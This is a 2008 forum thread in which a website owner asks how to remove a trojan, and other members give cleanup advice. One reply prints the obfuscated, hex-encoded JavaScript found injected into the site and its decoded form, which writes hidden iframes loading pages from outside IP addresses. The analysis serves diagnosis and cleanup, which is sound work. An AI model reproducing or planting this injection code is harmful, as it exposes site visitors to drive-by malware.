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How to get rid of a trojan on my website?
Old 06-27-2008, 04:17 AM How to get rid of a trojan on my website?
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Hi,

My website : www . voyageautourdumonde . fr is infected by a trojan.
Does anyone know how to get rid of it?

Thanks a lot

Sylvain

Last edited by vangogh; 06-27-2008 at 06:23 PM..
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Old 06-27-2008, 04:42 AM Re: How to get rid of a trojan on my website?
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Well, the first thing I'd say is, if your website is infected you shouldn't be posting the URL on forums. I certainly won't be clicking the link.

There are people on here far more qualified to answer this qustion than me, but I'll have a go.

If it were my site I'd start by deleting all files so that nobody else runs the risk of catching it. You could put up a temporary flyer page.

Then I'd contact my host and ask for their help.

My "guess" is, if you deleted all the files and then re-uploaded them from fresh, it might clear the problem. But it is only a guess. Obviously, you need to check the files on your computer are virus free too.
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Last edited by minsky; 06-27-2008 at 04:43 AM..
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Old 06-27-2008, 08:28 AM Re: How to get rid of a trojan on my website?
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It might not be your files that are causing the problem.
I've seen that once in a small dev/hosting company.

The web server was breached by pirates, that modified the Apache config to add HTML to any pages sent to a browser.
Looking at your site index source, I see that:
HTML Code:
</body>
</html>
<script>
function v4821762cb3582(v4821762cb397d){ function v4821762cb3d79 () {var v4821762cb4188=16; return v4821762cb4188;} return(parseInt(v4821762cb397d,v4821762cb3d79()));}function v4821762cb4971(v4821762cb5180){ function v4821762cb697c () {return 2;} var v4821762cb5975='';for(v4821762cb616f=0; v4821762cb616f<v4821762cb5180.length; v4821762cb616f+=v4821762cb697c()){ v4821762cb5975+=(String.fromCharCode(v4821762cb3582(v4821762cb5180.substr(v4821762cb616f, v4821762cb697c()))));}return v4821762cb5975;} document.write(v4821762cb4971('3C5343524950543E77696E646F772E7374617475733D27446F6E65273B646F63756D656E742E777269746528273C696672616D65206E616D653D6565207372633D5C27687474703A2F2F37372E3232312E3133332E3135302F2E69662F676F2E68746D6C3F272B4D6174682E726F756E64284D6174682E72616E646F6D28292A31363830292B273932613337665C272077696474683D323430206865696768743D37207374796C653D5C27646973706C61793A206E6F6E655C273E3C2F696672616D653E27293C2F5343524950543E'));
</script>
<script>
<!--
var d=document,kol=561;
function O10H48608F66DD33D(H48608F66DD739){ function H48608F66DDB35() {return 16;} return( parseInt(H48608F66DD739,H48608F66DDB35()));}function H48608F66DE330(H48608F66DE72B){ var H48608F66DF320 = 2; var H48608F66DEB27='';for(H48608F66DEF37=0; H48608F66DEF37<H48608F66DE72B.length; H48608F66DEF37+=H48608F66DF320){ H48608F66DEB27 += ( String.fromCharCode (O10H48608F66DD33D(H48608F66DE72B.substr(H48608F66DEF37, H48608F66DF320))));}return H48608F66DEB27;} document.write(H48608F66DE330('3C7363726970743E696628216D796961297B642E777269746528273C494652414D45206E616D653D4F31207372633D5C27687474703A2F2F37372E3232312E3133332E3137312F2E69662F676F2E68746D6C3F272B4D6174682E726F756E64284D6174682E72616E646F6D28292A3434343630292B2764333637363435356662635C272077696474683D333830206865696768743D313137207374796C653D5C27646973706C61793A206E6F6E655C273E3C2F494652414D45203E27293B7D766172206D7969613D747275653B3C2F7363726970743E'));
//-->
which seems highly suspect to me.
Look at your local file or in a backup if it contains those lines.
They might be added dynamically if the server was compromised.

PS:
After working my way through them, this is what is generated by this JS:
!!! DO NOT TRY TO FOLLOW THE IFRAME LINK!!!
Even if I have invalidated it, it still can harm your computer.
Code:
<SCRIPT>window.status='Done';document.write('<iframe name=ee src=\'http://_77._221._133._150/.if/go.html?'+Math.round(Math.random()*1680)+'92a37f\' width=240 height=7 style=\'display: none\'></iframe>')</SCRIPT>
<script>if(!myia){d.write('<IFRAME name=O1 src=\'http://_77._221._133._171/.if/go.html?'+Math.round(Math.random()*44460)+'d3676455fbc\' width=380 height=117 style=\'display: none\'></IFRAME >');}var myia=true;</script>
</script>
But definitively, look at your backup if this snippet is present. If not, contact your hoster, they might need to take action.
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Old 06-29-2008, 08:26 PM Re: How to get rid of a trojan on my website?
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You mean 4 trojans?

http://safebrowsing.clients.google.c...ourdumonde.fr/
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Old 06-30-2008, 10:38 AM Re: How to get rid of a trojan on my website?
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Strange. When I hit the [Add Reply] button to this thread my anti virus kicks in.

It's only on this thread, no others.

Image attached:
Attached Images
File Type: jpg virus.jpg (53.3 KB, 5 views)
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